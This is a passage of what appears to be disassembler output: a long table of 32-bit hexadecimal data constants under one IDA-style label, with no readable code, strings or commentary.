dd 0D9563444h, 0F393933h, 1F7B5B8Eh, 81E8E320h, 0D6000C5Fh
dd 0FA145CF4h, 1DAB3261h, 0C05A3F09h, 71F92E2Dh, 0D13F5B88h
dd 8CF582E3h, 0E0AF591Bh, 299577h, 0C1125CE2h, 0FA28437Ah
dd 7100D47Fh, 0E1971392h, 3D16A3Ch, 4A2A7E54h, 0DD88C97Ch
dd 85EAF804h, 8A1F1E00h, 0B65C6620h, 0CB560025h, 0C240385Ah
dd 0CE0063DBh, 92BA8622h, 0F89F80h, 12AF33EAh, 0C20ECA4Fh
dd 0C11DCB00h, 6236E622h, 4C8200F1h, 0C497F25Fh, 330085DBh
dd 0C35AFD67h, 46F088h, 0EA490C01h, 8F52D863h, 0D11D7500h
dd 1CB0335Ah, 90190C64h, 0E6804F78h, 71C99C00h, 5C369A38h
dd 0A83038Eh, 8878E51Ah, 0F0C6800h, 17586F84h, 72223FD7h
dd 5CE66A80h, 0BC7DB5FAh, 80C1823Fh, 14888532h, 7C3AE98h
dd 0F592174h, 20D04204h, 0C233DC80h, 4000B85Ah, 0E4F0549Ah
dd 0F8862CBFh, 0BAAF1F99h, 7E931824h, 89009FD3h, 0BF2A472Bh
dd 31C2EDh, 0C9F9E546h, 0FA164020h, 0A849D81Ch, 206AB24Fh
dd 2FA05ADEh, 3E060B62h, 83FD8F0Eh, 0D8A94FC9h, 0FC0F1Ah
dd 2347B9DAh, 0E932895Bh, 0C2733607h, 0C7900E79h, 0F86B6C9Ah
dd 8D0B3EDDh, 68336A00h, 0AD920F44h, 0B8E15F00h, 880239DFh
dd 0EEE76h, 5730AAF8h, 854C9BA2h, 0E309F900h, 635D7A56h
dd 0AB2002Bh, 0ECCF74A9h, 6B071C0Eh, 0E5B647FDh, 0D1F372D0h
dd 315D00C8h, 0D00B7DB7h, 0D50079EAh, 11590CC5h, 0F780389h
dd 0B7FC7091h, 437DCDE0h, 0B91C90C4h, 0BD834462h, 0C074E1D6h
dd 278AFCh, 0A887917Bh, 0F45D4C0h, 54B16B30h, 5D94D0h
dd 0DBC57F77h, 0D3C4EB8Ch, 7E6B0E00h, 950CE17h, 94C48A9h
dd 352DE1Ch, 906A0666h, 0DF8B42F9h, 5DDD3CC0h, 4EE0C700h
dd 0CC7E3EECh, 56E500F6h, 5BD4DED0h, 0D38D175h, 38818060h
dd 0FA2520E0h, 0BD3C00CCh, 2E9634BAh, 140FA69Fh, 80CAE687h
dd 0FC686DD0h, 375E0FEFh, 0F8A07AD4h, 4B5A41FBh, 0ACBD2F01h
dd 3BD51882h, 1B93208Eh, 5CCB51C0h, 0D7004FE9h, 0AC36F7Dh
dd 72B4DFD1h, 30D7CC0h, 0A95C1549h, 11E0D65Bh, 37016405h
dd 381B4262h, 10834A26h, 4BE84DB4h, 19481DC0h, 0C88ED3Ah
dd 2055E6BAh, 1EE9F27Bh, 406A02CFh, 0FAD8AC42h, 0EA063F8Ch
dd 27BD5EB3h, 2ADA278h, 18456130h, 7508E867h, 6244ED2Fh
dd 85005C87h, 69AE8FBh, 43E41002h, 1D00199Fh, 4AF27382h
dd 7E6AEF9h, 0C3AFA590h, 6353D05Dh, 0E00054BBh, 0ACDB72FAh
dd 734936EEh, 844A0156h, 5AD414CEh, 5405D844h, 0E75B962Ch
dd 872B9701h, 0DB2038h, 0E39D7620h, 0CA686DBh, 0FA3F8F00h
dd 6784A2B3h, 0AE700Fh, 5A493925h, 36D0BEE0h, 439148h
dd 380BDC01h, 155145D7h, 0E4CB1234h, 0B41E5406h, 5B00103Fh
dd 75E1E2F6h, 4A0B66h, 67909EA6h, 77A891EDh, 9900F0F2h
dd 0A447A3ABh, 5E60DDA1h, 1A7BC8Dh, 1C1764BAh, 98C86A5Eh
dd 0AE90035Fh, 92AC1EBCh, 9E08EB8h, 0C510FB00h, 43A12A3h
dd 86A6002Dh, 0C263A0B1h, 0DD006E8Eh, 9266AFE0h, 3492FF9h
dd 446DF62Eh, 19008F3Bh, 56D997B1h, 7C4C9E16h, 1CAB74ADh
dd 0C0159C8Dh, 8E28CBA6h, 30C0C437h, 68A84494h, 6F2E7F3Bh
dd 0DC8078A1h, 2DF04EC1h, 7E357500h, 390EAB07h, 614A0081h
dd 0DDC7C4CDh, 0CB0E3A31h, 40FE8EA9h, 1A672CA4h, 2F4AC005h
dd 0D12A60D6h, 5C0C3D76h, 0D9DF9557h, 0B45E18E3h, 0BF7A30BEh
dd 9EF8A2EAh, 411E1A07h, 27C09AB3h, 219F34h, 4C196BCEh
dd 252F875Ch, 72C73A3Dh, 0F500EAF2h, 62809EEDh, 1A42C29h
dd 6C852822h, 0FC8C4732h, 0CE00F97Eh, 0FA88E630h, 8DBEA5h
dd 0C6F18113h, 267C5756h, 1B497501h, 346BBFF4h, 659ED0h
dd 89FFAB1Dh, 72CBE959h, 0FE1C6603h, 0B0B1E71Ah, 3EEA3C7h
dd 0BF4A94E4h, 2D07DAEh, 680145B2h, 43A6F2ACh, 7420A001h
dd 0DE80C060h, 5708C7E5h, 42BB7000h, 8D6B07F7h, 5FEA0FE3h
dd 81200F9Fh, 18AB4F45h
dword_4D985C dd 0C718C560h, 0DF7C27AAh, 2DA70D30h, 0E0F8FC18h, 0DADC7500h
dd 7A02952Fh, 0A2FA0CD6h, 0E5C0648Fh, 453BF7F8h, 577F80A0h
dd 43E0A3BAh, 6A110333h, 31A1C542h, 0AFB2E801h, 799395C1h
dd 0C8D5DCh, 26BB4667h, 1F4D9C60h, 98431328h, 6E9E1B00h
dd 0A4947275h, 1E53F080h, 2870ACh, 515B95E5h, 5C00D80Ah
dd 0A9628CC8h, 0D5A89Ah, 0C0453F38h, 12747705h, 0DCFA9005h
dd 0ABC01F64h, 0F725562h, 0E969C6FCh, 0B0BA6C40h, 1D72A52Bh
dd 0F2CD1000h, 953432C1h, 15A90057h, 240C790Fh, 0D3006D33h
dd 71F443E9h, 57A6584h, 0D705A9F1h, 0E301FF56h, 896DB180h
dd 337034F1h, 9BF20744h, 0A07B1EA3h, 721B5B7Ah, 0D76C1801h
dd 566E4F5Ah, 761F23E8h, 1F8E86Ah, 1C25F089h, 0CC7021FDh
dd 640FED40h, 626E08B6h, 40C62EEEh, 17F426h, 4FA3F23Ah
dd 7D546C78h, 0EEDA6E1Ch, 382AB741h, 98A1E774h, 5345402Ch
dd 0A8C378B4h, 610A2FCh, 48784F0h, 5C0319E2h, 0BDE3FDA4h
dd 46FC9019h, 1461285Dh, 9C963F88h, 0E9CE6402h, 98AFB92Bh
dd 0F84F90E3h, 0F40F819Ch, 85ACC31Dh, 17A60008h, 3E8239C9h
dd 0AE1C5100h, 244F1FE5h, 293600C7h, 0C2FE1352h, 0ACA35EB6h
dd 52BDC0E9h, 7120F924h, 721337DDh, 0C1180021h, 0F17943DBh
dd 38C28CFCh, 63B92F34h, 0DE7C00ACh, 0E10FCB70h, 5130EE82h
dd 3816C160h, 0C704006Eh, 33620971h, 420A6F78h, 80F6FD73h
dd 27EF00BBh, 36CA6031h, 8D0E0011h, 5965D8C7h, 4B60AE43h
dd 9B5F7C71h, 973A07C5h, 90183012h, 0CD84C3Eh, 5FC05250h
dd 3B00FB71h, 3063FAE1h, 0F8091D8Dh, 9C4750E7h, 0CE0F007Ah
dd 116C2065h, 0A603856Dh, 0C4F19E3Eh, 51E103E7h, 6A1980D8h
dd 0B3BC505Eh, 0F901DB4Ch, 0D0152ABAh, 318BA6Ch, 4E0F5205h
dd 8E06F330h, 4CA53E30h, 93EFF200h, 413CCDE7h, 0FF379E00h
dd 10D8D5FEh, 0FC00063h, 5F6D268Fh, 53001A14h, 0E572771Ch
dd 1D65F6F2h, 7C3E1Eh, 0F9E3DB34h, 0D903A2A6h, 10E23B0Dh
dd 930CF07Bh, 4A950042h, 7746CA91h, 3D5443F1h, 0A900E4A8h
dd 3149F78Ch, 14CDC19Bh, 8040F342h, 2302D901h, 0C43A8DC4h
dd 0C800A1BEh, 72E09334h, 7D74471h, 77BF59A9h, 1C12520h
dd 9BA12686h, 67218046h, 1B731FC2h, 3CF004Ch, 0F957D929h
dd 0B90FF4BDh, 414B316Ch, 0A2714789h, 1E17DEE4h, 64E861h
dd 21B394A4h, 0FB0F8B62h, 0BDE7C663h, 9A00FC11h, 3FB5A46Ch
dd 0CB3AFB5Ah, 97578090h, 248CF2D0h, 0B62D01A1h, 0DCA80B33h
dd 64908946h, 0BDF30389h, 0AFBC88F3h, 77E30028h, 0D2DA2143h
dd 36008663h, 0F5A2D564h, 0F20531DFh, 0C6A8C7B5h, 0F1B3302Bh
dd 0C9B8AC9Bh, 0B13C5100h, 9DFDDFF7h, 0CC5F00CBh, 0AF977F36h
dd 0F400865Bh, 0F3A331A6h, 7837DB7h, 6332E7DEh, 629FF092h
dd 53735FC9h, 8EB95C00h, 7AEDE9C6h, 89CD1DEBh, 866840C7h
dd 0AF7111A9h, 0EAE8EF00h, 0D0376DA5h, 2B10004Ah, 445BEEA2h
dd 68000836h, 0DC4C2CB4h, 0A95F9Ah, 7E20F88Bh, 2C62B86h
dd 38F98000h, 0FA6B131Ah, 0F54D0064h, 600A7CD5h, 0AE17694Ch
dd 600BD7Fh, 9774B455h, 701E004Ah, 87FF915Ch, 1700D1E7h
dd 12A88EA0h, 3563143h, 48468C2Eh, 0B0D0C2D6h, 9B5CE5B9h
dd 0C869077Eh, 20CF0C9Ah, 0D6D08875h, 0CC610421h, 80AB8263h
dd 0E75922DEh, 0FCED8E00h, 51914EC5h, 6FE41F3Fh, 0CB7A8797h
dd 76FA60ADh, 0C90142A4h, 29A85F8Ch, 0A06A1F91h, 47009FC5h
dd 0F5D2AE19h, 485D8Eh, 0A801782h, 0ECFC9E40h, 0A9C3CEC0h
dd 961F5D8h, 0D0239BEh, 1997300h, 8E074F5Dh, 25A7912Ah
dd 6B5CE760h, 0D89C0747h, 72DF68F3h, 0D740F4C8h, 19004238h
dd 0CE8E885Eh, 0F56E228h, 0C96F5CDEh, 0B0E9807Fh, 0EFBA75D4h
dd 3BB0B00h, 9931B454h, 80B13A48h, 0C55D500h, 0C99F593Bh
dd 1C0F78F6h, 0C058C2C8h, 4593B249h, 50190018h, 556751FEh
dd 1000AF5Dh, 9AED77CCh, 0CB2FFFh, 50944DF2h, 0B7CE357Ch
dd 0ECE98A00h, 20876DBDh, 1898FA6Bh, 0D87D3037h, 0C62ED7CBh
dd 1C1C7077h, 0C4AA6E43h, 589110B0h, 1091070Eh, 0ECD0EDF6h
dd 0BB394Ah, 0FC646B69h, 1A3ADEB2h, 0AE60D20Fh, 758A2354h
dd 0EB6EC970h, 0D1E35CEDh, 0E3D8EF76h, 364C0074h, 0D3C3DB40h
dd 0E7133B38h, 7D007B93h, 0FCC47E8Eh, 6A0E0074h, 0CC09609Ch
dd 0FD729ECEh, 0D05200Bh, 605F8E7Dh, 0C09DE073h, 0E6B007B8h
dd 0D1B49361h, 0FF5CFE38h, 0F55A37E8h, 1AB81D0Eh, 68FE0BFh
dd 0E567077h, 0DB3C754Ah, 0FE9CB503h, 32ADCA88h, 0EEA0FA0Bh
dd 885622h, 71F5EFD6h, 4C000164h, 0D00A6C74h, 42F07Ah
dd 3A5A7C94h, 5935C57Eh, 198A8800h, 0AA9B01B6h, 0A579A9h
dd 10F099AEh, 5B45B8D6h, 9C95A800h, 51CF9420h, 0D9FC0077h
dd 3D1F78B0h, 70274C1h, 413A747h, 0B2D760EBh, 6D100C9h
dd 54C8E032h, 0E10010CAh, 218616E2h, 7D2E9C5h, 30DEAC13h
dd 0F7B420E3h, 0D8904890h, 0AFFE0E00h, 369D1271h, 0FD0005Bh
dd 0FC49377Ah, 210B77CEh, 8363D43Ch, 52CF162h, 0BAC4EB41h
dd 2EE4002Fh, 8A4162Bh, 7521310Eh, 30B90247h, 3A9AE3F7h
dd 0C7806652h, 2C3CCA28h, 0F200C91Eh, 901D568Ah, 31C54C3h
dd 0B60D3211h, 39D85DEFh, 0E93CA903h, 26B0809Dh, 0DE947ADFh
dd 302748B4h, 78FB7000h, 0AFB5FD8Ah, 5B08B200h, 582888D2h
dd 52BC0085h, 5956A34Dh, 0CEFE559Bh, 7292C500h, 8AFBAD61h
dd 0C82C007Eh, 0A545E962h, 0CD0137D0h, 0A8095764h, 0C1E4AA5Fh
dd 752900B9h, 20889FA1h, 56006F51h, 50547228h, 842BE1h
dd 5928047h, 0C176E02Ah, 0CB771E00h, 1835208Ch, 0EB2600A5h
dd 0ACB27137h, 0F50013A1h, 1CCEC006h, 0D03FC2h, 0B09064BCh
dd 93319128h, 35E7F900h, 7482E278h, 6D7900FDh, 67D56E6Bh
dd 0F900F870h, 9E19BC76h, 45ACF3Bh, 0C7A0A14Ah, 0F47CC018h
dd 6B011202h, 3679B2D9h, 55F8D8BCh, 34690FFFh, 0F6805313h
dd 393198FCh, 49583F00h, 0F5AD06A3h, 154800CDh, 0D683114Dh
dd 0D8009536h, 187BB2DFh, 9D2D6Dh, 6846E10Ah, 3E5C8E0Eh
dd 0AA755800h, 93CCA642h, 1E6A0024h, 0B06F8C8Dh, 0D4240607h
dd 87BA14E2h, 79E937BEh, 0E7A9C7A1h, 91FB20h, 0CE27CF90h
dd 506F2FAh, 1EDD6548h, 0B340AA64h, 0F6A7EBDAh, 1ED023Ah
dd 46F0C654h, 8BD15848h, 7AD63407h, 0B610F7D4h, 3391229h
dd 2260058Dh, 0A42DCCh, 0B2AADDE4h, 0AB2F0050h, 3BFDC0E9h
dd 4407873Ch, 0E7629D6h, 208462A0h, 9B940081h, 0F7BD0C8Bh
dd 170E982Ah, 407B0831h, 136058E3h, 97E10072h, 5FC4033Bh
dd 0AA00B9ACh, 4BB5A02h, 454234h, 0EBA093E6h, 0B92BDEBCh
dd 2FB3F501h, 6BA8B09Dh, 3DD3C8C3h, 0E9514DAh, 3F03FC32h
dd 0ECF89C6Dh, 0BADE63D0h, 7A7E8500h, 0A705C861h, 0CD060187h
dd 3C5EC72Bh, 0D4C4E435h, 0B74BCA1Eh, 3300C0E4h, 0B3A6DE30h
dd 751F0006h, 2D85A079h, 3F1F7CF5h, 25C70B26h, 2B0DA1Dh
dd 1676CC0h, 0B6C8D847h, 600983B9h, 8700840Ch, 0B739AC72h
dd 7474D3B1h, 1C9F098h, 37FA4428h, 0E429DD61h, 0DA00D2AAh
dd 0F03C3FBBh, 4E89078Bh, 5549B04Bh, 9ABD6600h, 3C060171h
dd 5F6000E2h, 0F270F518h, 93002FF7h, 54D8F75h, 6A2A07h
dd 45A00B48h, 1DD4DF3Ch, 0B169E800h, 3ABED1E6h, 892300F1h
dd 0D371CE83h, 6C00EC55h, 0DAB26D3Bh, 5FE6A0Ah, 8451811Dh
dd 0F31A80C6h, 61000637h
dd 3F710464h, 41D513h, 0FDA8DBE9h, 0DF1019E3h, 0F27A5EFEh
dd 600037E0h, 4B1DC365h, 88A870h, 456A69FEh, 0C1B347C7h
dd 62983601h, 3A5D789h, 7A9060CCh, 8AC9002Dh, 0A7480264h
dd 0A899449Ah, 17E2D180h, 0F867864Fh, 84A4995Fh, 6C8BE41Dh
dd 911F0039h, 4324C625h, 30005EDh, 5BF70807h, 74B5954h
dd 0E6567574h, 2C2816ABh, 0FA0997F8h, 94DCD8E4h, 1CC04890h
dd 38BCAA00h, 0D56B815Eh, 0E1066C1Ch, 8F932540h, 9397E45h
dd 0BFEE376Fh, 98DC1000h, 4D008CCEh, 5E3DE618h, 0E331D2h
dd 487129CDh, 0C7BD967Fh, 0AA361E00h, 167BDAF3h, 5025074Dh
dd 0A380D641h, 76A84666h, 0A524E9C7h, 0BD40708Bh, 663F9h
dd 0F54148ACh, 4E9FE3C3h, 82804250h, 53943000h, 0A3DF0B3Eh
dd 8DF300B3h, 5ED69C64h, 493CFE2Eh, 44DC25h, 23FBA902h
dd 357199h, 6D2F61D1h, 0B8F4807Eh, 985DC028h, 36E4FA50h
dd 0F8E70300h, 34051F3Fh, 726F129Ch, 6BB400B5h, 0E5ECD79Ah
dd 7FDF8100h, 786815DCh, 0EAECEBA4h, 0C8A4A8h, 0FD3883F1h
dd 1AB789E9h, 2AEF5A18h, 6C03B8h, 83541DF0h, 0B40432A5h
dd 1B84638h, 0A4A7590Ah, 0FC41C65Eh, 0CAC4E260h, 0B8380297h
dd 0D901443Ah, 0BD00DC96h, 5D387234h, 0FB37F0DBh, 38E71D0h
dd 0E005F9B6h, 1D88FF6Ch, 0AF0735B9h, 6A9696Bh, 754000B9h
dd 122A32FAh, 80146E96h, 0CEB33810h, 741E4A1Fh, 8EE56800h
dd 7E224033h, 20E66002h, 15712879h, 0B10DF90Eh, 0BDDE836Ah
dd 7AE08762h, 155DC30h, 0C6B8B0C5h, 400AB7EBh, 159CC1B8h
dd 66FD5100h, 739DEDA2h, 78EE00C3h, 8CFB6A44h, 6F001FD0h
dd 6B186826h, 1F670E2Ah, 0A41384C9h, 0E129800Ch, 0D0EEBEB5h
dd 0A3703507h, 0D140A523h, 128C90C0h, 608BBCC4h, 16E81304h
dd 12E5A900h, 5A65B289h, 0B4581479h, 9D00E431h, 546C69F8h
dd 0F0047F5h, 9375EC9Eh, 91F90415h, 0A0420104h, 36560997h
dd 570108CCh, 7FB640B4h, 40BB20DFh, 55C5C280h, 2CEF6C1Ch
dd 0E005295h, 0DBE0FC35h, 0F9F014B0h, 1AD1B400h, 0C7F2377Eh
dd 0CB4A07D5h, 0F0637566h, 0A5C4C0ECh, 4D8D2901h, 19AC0390h
dd 8F006077h, 0FCAFEF3Ch, 8D4E0979h, 3A0E28ACh, 0C680677Bh
dd 80B6C99Eh, 73827100h, 0FBEF57B5h, 16761D1Bh, 2A1540EAh
dd 0F0C3DE5h, 0A7AD7D01h, 1C01737Eh, 0DB73B06Bh, 0C6980200h
dd 0AA6AB8F8h, 622600F9h, 0A5BDEFBh, 403378Bh, 51DC5379h
dd 0AE22A8B8h, 0BAC800E0h, 0DA5B845Dh, 6031620Dh, 7D3A0FDh
dd 971EE8h, 54C920CAh, 0CDAA6323h, 8CDED900h, 6235FE10h
dd 0BCEA0Eh, 25772C34h, 81ED1536h, 7882EA04h, 8F80288Bh
dd 7DA62071h, 0CE250357h, 0CB6AC45Ch, 0F6E1A990h, 0D9E00F00h
dd 76F751DDh, 38A80E6Fh, 9B83A0FEh, 1DB89CEEh, 0E3009460h
dd 146B527Dh, 6A35CCh, 21A69296h, 4A0C974Fh, 4D615A00h
dd 3D63CF7Bh, 0C91B0314h, 6D856A19h, 5FF14CD0h, 93000490h
dd 2362892Fh, 6C328Ah, 6660F90h, 8BB6B90Ch, 5863A00h, 98A23F47h
dd 1680049h, 0C01B9B53h, 4E00429Fh, 931AF6B5h, 4DB2FAh
dd 3DD7CF0h, 4C6FE782h, 31EAFE00h, 68025ACCh, 7D0600BAh
dd 2BB85059h, 0B00C071h, 1A52FDDDh, 0BCA081Fh, 0C34A6D3Ch
dd 8A00DD8Bh, 5481D29Dh, 0CFD39600h, 393D941Ch, 0FBC03A2h
dd 6051D4B0h, 2DDDC900h, 72CD941Dh, 0CEDE3AA2h, 2E273E00h
dd 0F0463B81h, 0C5036378h, 0BDD8FC73h, 97A9A0FDh, 34031362h
dd 31BC005Ah, 0BB72C046h, 52B65700h, 0AB1610A3h, 23010430h
dd 0C1C3D6F0h, 0F88E2562h, 74F0CB39h, 20660B28h, 0C422800Eh
dd 6523009Eh, 36B4BF3Bh, 0A96892B0h, 0E4610700h, 79D7C156h
dd 42A300D8h, 32ECD2E5h, 7412CD18h, 1400A690h, 4C4A6E4Dh
dd 6E405F9h, 0C0D8AAA9h, 638B2C61h, 261E9FFCh, 0E84F461Dh
dd 7E8E007Ah, 0F1A32Eh, 70F94EF0h, 0E0C805BEh, 23DB1D50h
dd 0AE011898h, 9DEC5E51h, 0CFCC71F0h, 49F70E3Bh, 0D7226BE2h
dd 53607AEEh, 0E81F3097h, 6F8068CAh, 74BF78A1h, 0B01300C2h
dd 2CD84084h, 6CE253C7h, 550E5801h, 74525B4h, 4BB7F03Bh
dd 0B076DA00h, 0E1DCF77Bh, 5BDB019Fh, 0F06D54A1h, 46B8FF57h
dd 9907E92Fh, 0D2A06E62h, 0CA3D4841h, 0A12DE4h, 0F3CC9C05h
dd 0E93489D4h, 1B0FC5Ch, 2B0A1D09h, 87F0EDAEh, 787042h
dd 0CB3629DCh, 47E99419h, 0FC5E6000h, 7D9EDAA7h, 0BAA90037h
dd 81FE0307h, 0ED037804h, 0D2A78327h, 0C4B4A8A2h, 69CA00EEh
dd 0AC21D39Fh, 0A5009422h, 711CCCDCh, 0A04DFECDh, 0BE9A3E0h
dd 0D9FBFC85h, 0C13F59F0h, 0B200F1CEh, 608FD295h, 162DA0DBh
dd 18C0780Ah, 8CA4388Ch, 99E61F00h, 16BD4AC1h, 0FA420050h
dd 0AD3D8A06h, 9E00943Bh, 0F6619B80h, 7DB61Bh, 23C0DD4Ch
dd 178F0778h, 7C492B00h, 0A7253C0Bh, 76A3008Bh, 1CB9F831h
dd 173BA6D0h, 0A2530033h, 41D74667h, 90B0EB1h, 48A080A9h
dd 6F311292h, 72BB201h, 288E5122h, 9FAA20h, 0D1A55217h
dd 0FA6D1179h, 0DA92D500h, 5A612E1Dh, 6C44007Eh, 0A085EBBFh
dd 4B0FFFEFh, 0A0D00C62h, 6AB35C72h, 0FA4107D6h, 5E671D66h
dd 224DDAE3h, 314AB907h, 96A05A4Fh, 66BE46h, 2CE8FE84h
dd 7A869A53h, 8A601900h, 0FD5DDFCh, 704F00FBh, 5ABFB77Bh
dd 0F8079498h, 0C1D2ABBEh, 15AC8B80h, 0C8330753h, 7EF71E42h
dd 0EEA5B40h, 3600B16Fh, 0FC20BE8Eh, 1F69A694h, 57CDB67h
dd 0C15A1EABh, 80E77AF2h, 11AFC87Eh, 0DE6022h, 0CDF56756h
dd 57CE10B9h, 7AFB30C0h, 7EACCCh, 85771805h, 0D0556956h
dd 200D51CEh, 0E597FFC6h, 139E00BBh, 0B3B738ADh, 0E10080E0h
dd 498AF1CDh, 0CB2D5C8h, 6E476727h, 0ECFE7E10h, 0B98C7D00h
dd 0A191500Ah, 7C30028h, 1B80C1EBh, 9E005948h, 0CB7F992Eh
dd 523355h, 794A1127h, 909BC372h, 0B10018ECh, 0A3FAA0EDh
dd 6901ECh, 0F1729C8Bh, 0ABFB7CC4h, 0F51B580Fh, 0E8D200EEh
dd 4CA1B751h, 200F5452h, 0E3073B64h, 0C257E04Ah, 73241E55h
dd 183A3913h, 7A303C94h, 65102DB3h, 0DCC98B40h, 7D04890Ch
dd 2D41F8h, 0F5269B42h, 18EB24F4h, 7100D7F8h, 0B45C3A67h
dd 7CBCCA2Fh, 69E319C7h, 0D4FC20C5h, 44008C3Eh, 49CE5C60h
dd 0FA107DEh, 0F00AA556h, 75D11DA0h, 0E000D608h, 43B750F5h
dd 18163464h, 496E7717h, 7006C2Dh, 0DEEC50D7h, 0DF24C6h
dd 7242F204h, 26E7D2A9h, 0CF290101h, 315CB954h, 0E834E8h
dd 6728062Eh, 0F5D9E5F4h, 78C93B17h, 55B9CA00h, 1E545DC2h
dd 989F8F98h, 0ACD9BA4Eh, 0B0C67602h, 0C0BE3F7Dh, 3E154058h
dd 9900C970h, 0D6CEFF43h, 5AC0CD10h, 333D8F8Ah, 1C720149h
dd 8CFF3AF4h, 44E3E0BBh, 3ED7E04Ch, 0AD33038Ah, 0B0AA3432h
dd 727925Ch, 0C31D9EF8h, 29EC8097h, 471674A7h, 0CA015155h
dd 0CFA49B2Bh, 41E770h, 3E131F1Bh, 9FBABB26h, 55A52E00h
dd 1267A32Ah, 0B02500F5h, 0E2FA0C45h, 41D4F92h, 0A2CE19BFh
dd 11090043h, 0F84CD13Ah, 59F90053h, 8444FA3h, 3F0C0712h
dd 11B23821h, 0B90A0031h, 63A16419h, 0CB3BFDA2h, 76B503B0h
dd 201057h, 873F92FEh, 698B7D47h, 2BB9B400h, 8FC73B77h
dd 3D2B053h, 0BAB275E0h, 88004012h, 0DA913CFEh, 3E373EADh
dd 0FF2EE6h, 0F4BDFABh, 77B62FC7h, 70DD8D00h, 0D9B3D654h
dd 0B44F0053h, 9D1F987Bh, 6B0026CEh, 8B2B569Ah, 3B84D1A4h
dd 63808A59h
dd 4883341Eh, 0A00C988Eh, 5E507276h, 4BA300EBh, 203B36FAh
dd 3AE8B837h, 859CB539h, 89BBF04Ch, 2C102380h, 15770783h
dd 40B6807Eh, 0F40C5276h, 85C2F107h, 0A0F0AAABh, 90B78C6h
dd 0B2980D90h, 0B56C7880h, 403C7D6h, 8036C31Ch, 0A63BE86Bh
dd 82AC037Fh, 0E402CCCEh, 6554B688h, 20861007h, 0ACBB7FEh
dd 4B000643h, 0F42E9309h, 0E653EA08h, 2A313D8Eh, 0F1580074h
dd 3C7CE31Eh, 100E64C4h, 204F0A4Eh, 0FCA8B346h, 16D71AAh
dd 8CC9BA78h, 0F087CB64h, 0A70009E6h, 54AB496Bh, 19362BEh
dd 1840F4EFh, 601F2D8Ah, 7700A010h, 69B6FCC3h, 18B8FB5h
dd 8D2CC4B8h, 0CCA9F3D4h, 0C700F8A2h, 0A0016358h, 7F31D7C2h
dd 0DF8BF51h, 440071FCh, 629621F0h, 9BFE1Dh, 0BE6E8032h
dd 0CC46CFCDh, 71F08560h, 0ACF30Fh, 2A51AD5Bh, 3AF2867Fh
dd 4EE2D900h, 0B6B8D46Bh, 0A3E41D9Fh, 0E1644011h, 0ADEB0BC1h
dd 773BBD1Dh, 0E93E5C83h, 8627908Dh, 8E863CBh, 2000F8FAh
dd 2D507B2Bh, 9351ECh, 52234C65h, 0C02F6674h, 7B948D00h
dd 8C4E977Eh, 17E41673h, 8A120968h, 0B5498103h, 0E85A09B9h
dd 0AD009EC8h, 0BA3BC1D9h, 3C03E6h, 0F0FB6B77h, 0F811438h
dd 99955537h, 0CED4FFC0h, 7129032Eh, 74F578B3h, 0BEB95800h
dd 8DEBA583h, 7B950767h, 0B04C3C28h, 0DF1535Ah, 0B97A6800h
dd 71866D01h, 0EE50036Eh, 8828FB3Ch, 0DC6FD9D8h, 8D10D100h
dd 0A8A57DCBh, 58F0214h, 5E75C293h, 9127A160h, 0DBC58000h
dd 0A4AA3096h, 480C0394h, 0CCB43F58h, 8C69E600h, 11DA88D0h
dd 0D88900F7h, 9ACDD61Ch, 0C600B044h, 73FA4F3Ah, 28AB48h
dd 4A1AC5E5h, 0EED971A2h, 0BA1C90B8h, 27001EF2h, 995DF513h
dd 35AC017Bh, 38FCC7EFh, 0D15E0B0h, 44861F1Fh, 0B1A7CB03h
dd 0E4CD894Ch, 0E487B6E4h, 6E100196h, 882770D6h, 4FCEC0F0h
dd 84EF3000h, 0E2DB1711h, 0A81900FDh, 59A569B4h, 0EC003E51h
dd 0BEA36673h, 5F268Fh, 4B1A88Ch, 19C2D752h, 83379301h
dd 0D602C11Dh, 8286ECh, 905CDD68h, 0D5E7F914h, 8B673Eh
dd 0FB54F108h, 0F3D063h, 25C44634h, 0D3A9B4DEh, 5A51A000h
dd 6BCB2796h, 4E90C116h, 7092C1E3h, 5EE84D17h, 0CC0C8C00h
dd 70A960D8h, 4F741C1Ah, 18169677h, 6C0AD96Ch, 0AF7B3DFEh
dd 9F78A750h, 3A79EA18h, 0ABEA0h, 85257844h, 0C4B00F2Fh
dd 7D744E78h, 5873F035h, 589E1E0Ch, 32A4252h, 18A29221h
dd 1071DAA7h, 0EF061CB1h, 5DF6BE85h, 4358C018h, 784D9AB7h
dd 0EA44B171h, 8CBE4F3h, 290EA142h, 58022D45h, 2031CF4Eh
dd 4DC2F365h, 5C12BE14h, 0C4971E2Ch, 0B46528E0h, 82BE658h
dd 6AA118BDh, 0A360E46Eh, 67848A0Ah, 3B3A425h, 0A47F2DEh
dd 69451359h, 0C5990884h, 0DE5D6603h, 719078E3h, 5AE0081h
dd 0C3ED9A07h, 0D0781CD9h, 0D3BC8F05h, 0DC00E3C4h, 0E2899267h
dd 0B794A0B5h, 283B0649h, 48C5BC87h, 0E1006EEEh, 0A444ED39h
dd 0FE46ABF9h, 7E3200BFh, 227B0FC8h, 743C7D07h, 9909F02h
dd 43B63700h, 0FE04BCh, 21DFB8ACh, 0AA70FB5Fh, 0F23DB4B8h
dd 2736804Fh, 7C6A4E63h, 0A3AE0099h, 23A50B96h, 181D85C1h
dd 1BC04B5Dh, 0EAB91A3Ah, 34FD1F97h, 109F66h, 92838BBAh
dd 700A145h, 0FCF8E5DDh, 0C71FC2h, 0F5E27087h, 2D450565h
dd 0F6F25A1Ch, 0FB1DC500h, 72946Dh, 11A817A0h, 0E8A6F52h
dd 8227DE00h, 0C162F8FDh, 0E34F0072h, 0F2A36153h, 79F437E4h
dd 6B7A351Ch, 6501DF6Eh, 0DEBD40DAh, 8561D8h, 79B30773h
dd 932582EEh, 4BA60900h, 465B2C1Ah, 8C1E3FB9h, 0B57EC480h
dd 2EBB63Dh, 8E503Fh, 136C37BDh, 348BA4h, 279E4322h, 5ACD3D6Fh
dd 53FA6000h, 6C2A0724h, 0BEF701E8h, 52CCABDBh, 0ACD6F40Fh
dd 0E78DD900h, 0D2448CF4h, 1D3AF64Dh, 492CF99Fh, 6F89924Eh
dd 1A70BD09h, 1A3B130Eh, 73DE607Dh, 78B39B81h, 237B0C86h
dd 6B286980h, 0BDEC0A28h, 0DF3CBD18h, 408A2728h, 4603DD01h
dd 375C03B7h, 0B9510F2Ch, 81E78DF3h, 7F293C43h, 8E0C738h
dd 8C64035Ch, 0F79700Ah, 2298961h, 4F01ADD1h, 258B1028h
dd 85AB80DDh, 93C1F98Bh, 1326DB01h, 22A19ECEh, 89026E77h
dd 5BFEA48Ah, 933C83E7h, 0A051756Bh, 0C418F83Ch, 2D3329h
